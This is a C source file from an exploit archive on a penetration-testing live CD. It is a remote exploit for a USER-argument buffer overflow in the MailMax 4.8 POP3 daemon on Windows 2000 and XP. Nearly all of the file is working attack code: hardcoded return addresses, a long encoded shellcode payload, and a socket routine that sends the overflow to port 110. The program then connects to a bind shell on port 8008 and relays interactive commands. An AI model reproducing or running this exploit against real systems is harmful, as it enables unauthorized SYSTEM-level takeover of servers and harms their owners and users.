home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / mailmax / mmaxexp.c < prev   
C/C++ Source or Header  |  2005-02-12  |  10KB  |  241 lines

  1. /*
  2.     mmaxexp.c
  3.     July 20th, 2002
  4.  
  5.     SmartMax MailMax Standard/Professional 4.8
  6.     http://www.smartmax.com
  7.     
  8.     an overflow is present in the USER argument of
  9.     the pop3max daemon.. however, we do not get eip..
  10.     but with buffers of various sizes we can get
  11.     eax, ecx, and edx.. edx being the most useful as
  12.     shown below..
  13.     
  14.     CALL [EDX+0C] @RVA413A08
  15.  
  16.     so now we just need to drop the rva of our shell
  17.     that we'd like to call into memory somewhere 
  18.     (-0C of course)..see CALL
  19.  
  20.     YAY!@$!
  21.     
  22.     2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)        
  23. */
  24.     
  25. #include <stdio.h>
  26. #include <string.h>
  27. #include <sys/types.h>
  28. #include <sys/socket.h>
  29. #include <netinet/in.h>
  30. #include <arpa/inet.h>
  31. #include <netdb.h>
  32. #include <sys/errno.h>
  33. #include <unistd.h>
  34.  
  35. /* Windows 2000 Professional/Server */
  36. char EDX2k[]  = "\x30\xd7\x68\x06";
  37. char CALL2k[] = "\xec\xd9\x68\x06";
  38.  
  39. /* Windows XP Professional */
  40. char EDXxp[]  = "\x30\xd7\x25\x06";
  41. char CALLxp[] = "\xec\xd9\x25\x06";
  42.  
  43. /* we repeat the payload ptr on every */
  44. /* dword prior to our target rva in   */
  45. /* order to increase those sexy odds  */
  46.  
  47. char shell[2205];
  48.  
  49. char header[] = "\x55\x53\x45\x52\x20\x90\x90\x90";
  50.  
  51. char payload[] ="\x55\x8b\xec"
  52.         "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"
  53.         "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"
  54.         "\x90\x90\x90\xac\x34\x15\xaa\xe2\xfa\xfd\x15\x15\x15\x15"
  55.         "\x48\x94\xf8\xcc\x34\x55\x15\x98\xa0\xe7\x31\x55\x15\x98"
  56.         "\xa8\xef\x31\x55\x15\x7f\x12\x85\x85\x85\x85\x4c\xfd\xc7"
  57.         "\x17\x15\x15\x98\xa0\x3f\x30\x55\x15\x98\xa8\x26\x30\x55"
  58.         "\x15\x7f\x1f\x85\x85\x85\x85\x4c\xfd\xaf\x17\x15\x15\x7f"
  59.         "\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf0\x30\x55\x15"
  60.         "\x43\x98\xa0\xfc\x30\x55\x15\x43\xea\x80\x26\x30\x55\x15"
  61.         "\x7f\x15\x98\xa0\xcc\x30\x55\x15\x43\x98\xa0\xf8\x30\x55"
  62.         "\x15\x43\x98\xa0\xe4\x30\x55\x15\x43\xea\x80\x26\x30\x55"
  63.         "\x15\xd2\x90\xe0\x30\x55\x15\x51\x15\x15\x15\x98\xa0\xe0"
  64.         "\x30\x55\x15\x43\xea\x80\x22\x30\x55\x15\x98\xa0\x38\x33"
  65.         "\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\x24\x33"
  66.         "\x55\x15\xb8\x45\xea\x80\x46\x30\x55\x15\x98\xa0\xe4\x30"
  67.         "\x55\x15\x98\xa8\x38\x33\x55\x15\xb0\x98\xa0\xf0\x30\x55"
  68.         "\x15\xb8\x98\xa8\x24\x33\x55\x15\xbe\x98\xa8\x20\x33\x55"
  69.         "\x15\xbe\xd2\x90\x30\x33\x55\x15\x15\x15\x15\x15\xd2\x90"
  70.         "\x34\x33\x55\x15\x14\x14\x15\x15\x98\xa0\x2c\x33\x55\x15"
  71.         "\x43\x98\xa0\xe0\x30\x55\x15\x43\x7f\x15\x7f\x15\x7f\x05"
  72.         "\x7f\x14\x7f\x15\x7f\x15\x98\xa0\x5c\x33\x55\x15\x43\x7f"
  73.         "\x15\xea\x80\x2e\x30\x55\x15\x7d\x15\x35\x15\x15\x85\x7d"
  74.         "\x15\x17\x15\x15\xea\x80\x56\x30\x55\x15\x9c\x90\x44\x33"
  75.         "\x55\x15\x26\xd5\x45\x55\x45\x55\x45\xea\x80\xef\x31\x55"
  76.         "\x15\x45\x4e\x7f\x05\x98\xa0\xdc\x30\x55\x15\x43\x46\xea"
  77.         "\x80\xeb\x31\x55\x15\x7f\x16\x46\xea\x80\x17\x30\x55\x15"
  78.         "\x98\xa0\x40\x33\x55\x15\x43\x98\xa0\xdc\x30\x55\x15\x43"
  79.         "\x46\xea\x80\x13\x30\x55\x15\x98\xa8\x4c\x33\x55\x15\xbe"
  80.         "\x26\xd5\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98"
  81.         "\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f"
  82.         "\x25\xea\x80\x5a\x30\x55\x15\xfe\x58\x85\x85\x85\x26\xd5"
  83.         "\x45\x98\xa8\x70\x33\x55\x15\x42\x45\x45\x45\x98\xa0\xfc"
  84.         "\x30\x55\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea"
  85.         "\x80\x5a\x30\x55\x15\x96\xa8\x70\x33\x55\x15\x17\x1a\x97"
  86.         "\x02\x14\x15\x15\x94\xa8\x70\x33\x55\x15\x14\x35\x15\x15"
  87.         "\x67\x1b\x85\x85\x85\x85\xd2\x90\x70\x33\x55\x15\x15\x35"
  88.         "\x15\x15\x7f\x15\x9e\x90\x70\x33\x55\x15\x98\xa8\x70\x33"
  89.         "\x55\x15\x42\x45\x9e\x90\x44\x33\x55\x15\x45\x98\xa0\xfc"
  90.         "\x30\x55\x15\xb8\x45\xea\x80\x52\x30\x55\x15\x7f\x45\xea"
  91.         "\x80\x5a\x30\x55\x15\x9e\x90\x70\x33\x55\x15\x7f\x15\x45"
  92.         "\x98\xa0\x44\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15"
  93.         "\xb8\x45\xea\x80\x1f\x30\x55\x15\x7f\x15\x98\xa8\x70\x33"
  94.         "\x55\x15\x42\x7f\x15\x7f\x15\x7f\x15\x98\xa0\xfc\x30\x55"
  95.         "\x15\xb8\x45\xea\x80\x2a\x30\x55\x15\x7f\x45\xea\x80\x5a"
  96.         "\x30\x55\x15\x26\xdc\x2c\x98\x70\x33\x55\x15\x1a\x92\x72"
  97.         "\xea\xea\xea\x7f\x15\x7d\x15\x35\x15\x15\x85\x98\xa0\x44"
  98.         "\x33\x55\x15\xb8\x45\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea"
  99.         "\x80\x1b\x30\x55\x15\x9c\x90\x74\x33\x55\x15\x7f\x15\x98"
  100.         "\xa8\x70\x33\x55\x15\x42\x45\x98\xa0\x44\x33\x55\x15\xb8"
  101.         "\x45\x98\xa0\xf8\x30\x55\x15\xb8\x45\xea\x80\x5e\x30\x55"
  102.         "\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\x7f\x15\x9e\x90\x74"
  103.         "\x33\x55\x15\x98\xa8\x70\x33\x55\x15\x42\x45\x9e\x90\x44"
  104.         "\x33\x55\x15\x45\x98\xa0\xfc\x30\x55\x15\xb8\x45\xea\x80"
  105.         "\x52\x30\x55\x15\x7f\x45\xea\x80\x5a\x30\x55\x15\xfc\xac"
  106.         "\xeb\xea\xea\x98\xa0\x4c\x33\x55\x15\xb8\x45\xea\x80\x07"
  107.         "\x30\x55\x15\x98\xa0\x48\x33\x55\x15\xb8\x45\xea\x80\x07"
  108.         "\x30\x55\x15\x7f\x15\xea\x80\x42\x30\x55\x15\x44\x43\x7d"
  109.         "\xdd\x59\xbd\x15\x85\x4f\xea\x07\x45\x4e\x4c\x42\x4b\x44"
  110.         "\x43\x46\x7d\xe5\x59\xbd\x15\x85\x4f\xea\x07\x45\xb9\x91"
  111.         "\xd5\x60\xee\x4d\xbe\x4c\xf7\xfc\xd6\x42\x46\x5a\x56\x5e"
  112.         "\x26\x27\x15\x66\x7a\x76\x7e\x70\x61\x15\x77\x7c\x7b\x71"
  113.         "\x15\x79\x7c\x66\x61\x70\x7b\x15\x74\x76\x76\x70\x65\x61"
  114.         "\x15\x66\x70\x7b\x71\x15\x67\x70\x76\x63\x15\x76\x79\x7a"
  115.         "\x66\x70\x66\x7a\x76\x7e\x70\x61\x15\x5e\x50\x47\x5b\x50"
  116.         "\x59\x26\x27\x15\x56\x67\x70\x74\x61\x70\x45\x7c\x65\x70"
  117.         "\x15\x52\x70\x61\x46\x61\x74\x67\x61\x60\x65\x5c\x7b\x73"
  118.         "\x7a\x54\x15\x56\x67\x70\x74\x61\x70\x45\x67\x7a\x76\x70"
  119.         "\x66\x66\x54\x15\x45\x70\x70\x7e\x5b\x74\x78\x70\x71\x45"
  120.         "\x7c\x65\x70\x15\x52\x79\x7a\x77\x74\x79\x54\x79\x79\x7a"
  121.         "\x76\x15\x47\x70\x74\x71\x53\x7c\x79\x70\x15\x42\x67\x7c"
  122.         "\x61\x70\x53\x7c\x79\x70\x15\x46\x79\x70\x70\x65\x15\x56"
  123.         "\x79\x7a\x66\x70\x5d\x74\x7b\x71\x79\x70\x15\x50\x6d\x7c"
  124.         "\x61\x45\x67\x7a\x76\x70\x66\x66\x15\x56\x7a\x71\x70\x71"
  125.         "\x35\x77\x6c\x35\x69\x4f\x74\x7b\x35\x29\x7c\x6f\x74\x7b"
  126.         "\x55\x71\x70\x70\x65\x6f\x7a\x7b\x70\x3b\x7a\x67\x72\x2b"
  127.         "\x17\x15\x0a\x5d\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  128.         "\x15\x15\x19\x15\x15\x15\x15\x15\x15\x15\x14\x15\x15\x15"
  129.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  130.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  131.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  132.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  133.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  134.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  135.         "\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  136.         "\x15\x15\x56\x58\x51\x3b\x50\x4d\x50\x15\x15\x15\x15\x15"
  137.         "\x05\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15\x15"
  138.         "\x15\x15\x15\x15\x15\x15\x1c\x1c\x1c\x1c\x1c\x90\x90\x90"
  139.         "\x0d\x0a";
  140.  
  141. main(char argc, char **argv){
  142.         int fd, i, opt;
  143.         int bufsize = 1024;
  144.         int *buffer = (int *)malloc(bufsize);
  145.         struct sockaddr_in sin;
  146.         struct hostent *he;
  147.         struct in_addr in;
  148.  
  149.     printf("MailMax Standard/Professional 4.8 remote 'SYSTEM' level exploit (07/20/2002)\n");
  150.     printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");
  151.  
  152.         if (argc < 4){
  153.                 printf("usage: %s <hostname> -t <type>\n\n", argv[0]);
  154.                 printf("types: 0 - Windows 2000 Professional/Server\n");
  155.                 printf("       1 - Windows XP Professional\n\n");
  156.                 exit(-1);
  157.         }
  158.  
  159.         while ((opt = getopt(argc, argv, "t:"))){
  160.             switch(opt){
  161.                 case 't':
  162.              if(optarg[0] == '0'){
  163.                  strcpy(shell, header);
  164.                  for(i = 1;i < 247;i++){
  165.                      strcat(shell, CALL2k);
  166.                  }
  167.                  strcat(shell, EDX2k);
  168.                  strcat(shell, payload);
  169.                  break;
  170.              }
  171.              
  172.              if(optarg[0] == '1'){
  173.                  strcpy(shell, header);
  174.                  for(i = 1; i < 247;i++){
  175.                      strcat(shell, CALLxp);
  176.                  }
  177.                  strcat(shell, EDXxp);
  178.                  strcat(shell, payload);
  179.                  break;
  180.              }
  181.                          
  182.                          printf("invalid type\n\n");
  183.                          printf("types: 0 - Windows 2000 Professional SP2 + hot fixes 6/8/2002\n");
  184.                          printf("       1 - Windows XP Professional SP1 + hot fixes 6/8/2002\n\n");
  185.                          exit(-1);
  186.                 }
  187.                 break;
  188.         }
  189.  
  190.         if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
  191.  
  192.         if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
  193.         else
  194.         if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}
  195.  
  196.         sin.sin_family = AF_INET;
  197.         sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
  198.         sin.sin_port = htons(110);
  199.  
  200.         printf("connecting to tcp port 110 (POP3)...\n");
  201.         if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}
  202.  
  203.         printf("connected.\n\n");
  204.      sleep(1);
  205.         printf("dumping payload...");
  206.         if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);}
  207.     printf("done\n");
  208.     printf("code dumped.\n\n");
  209.  
  210.         close(fd);
  211.  
  212.         if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
  213.  
  214.         sin.sin_family = AF_INET;
  215.         sin.sin_addr.s_addr = inet_addr(argv[1]);
  216.         sin.sin_port = htons(8008);
  217.  
  218.         printf("connecting to tcp port 8008... (wait 3s)\n");
  219.         sleep(3);
  220.         if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){printf("exploit failed.. adjust EDX/CALL?\n\n");exit(-1);}
  221.         printf("success! izn0wnz3rat3d!\n\n");
  222.  
  223.         while(1) {
  224.                 fd_set input;
  225.  
  226.                 FD_SET(0,&input);
  227.                 FD_SET(fd,&input);
  228.                 if((select(fd+1,&input,NULL,NULL,NULL))<0) {
  229.                         if(errno==EINTR) continue;
  230.                         printf("connection reset\n"); fflush(stdout);
  231.                         exit(1);
  232.                 }
  233.                 if(FD_ISSET(fd,&input))
  234.                         write(1,buffer,read(fd,buffer,bufsize));
  235.                 if(FD_ISSET(0,&input))
  236.                         write(fd,buffer,read(0,buffer,bufsize));
  237.         }
  238.  
  239.         close(fd);
  240.  
  241. }